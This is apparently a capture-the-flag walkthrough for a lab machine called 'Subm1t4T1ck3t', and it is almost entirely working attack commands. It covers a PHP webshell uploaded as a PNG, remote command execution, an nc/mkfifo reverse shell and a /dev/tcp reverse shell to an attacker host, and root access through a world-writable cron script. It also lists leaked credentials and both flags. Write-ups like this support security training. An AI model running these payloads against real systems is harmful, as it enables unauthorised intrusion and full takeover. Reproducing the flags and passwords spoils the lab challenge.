Subm1t4T1ck3t

PHP Webshell via PNG Upload (SetHandler bypass) → Writable Cron

Phase 1 — Recon

nmap -sC -sV <TARGET_IP>

Apache/PHP support portal at /support/index.php.

Phase 2 — Credential Discovery

curl -s http://<TARGET_IP>/support/index.php | grep -i cred

Note: HTML comment leaks helpdesk / PrepareCoffeeIntend74.

Phase 3 — File Upload Bypass

The upload form only checks the extension; Apache is configured to execute .png as PHP:

echo '<' '?' 'php system($_GET["cmd"]); ?' '>' > shell.png
# log in, then upload shell.png via the portal form

Phase 4 — RCE & Reverse Shell

curl "http://<TARGET_IP>/support/uploads/shell.png?cmd=id"

Get a reverse shell:

nc -lvnp 4444
curl -G "http://<TARGET_IP>/support/uploads/shell.png" \
 --data-urlencode "cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <ATTACKER_IP> 4444 >/tmp/f"

Phase 5 — User Flag (pivot to support)

su support
# password: Support123!
cat /home/support/user.txt

Phase 6 — Privilege Escalation (Writable Cron Script)

ls -la /opt/cleanup.sh
cat /etc/cron.d/cleanup

/opt/cleanup.sh is world-writable and run by root every minute:

echo 'bash -i >& /dev/tcp/<ATTACKER_IP>/5555 0>&1' > /opt/cleanup.sh
nc -lvnp 5555
# wait up to 60s

Phase 7 — Root Flag

cat /root/root.txt

Flags

Type	Flag	Path
user	8282bc7805287d78b3729f2d012bf415	/home/support/user.txt
root	6c5629e106b1705e710dc56cf3276299	/root/root.txt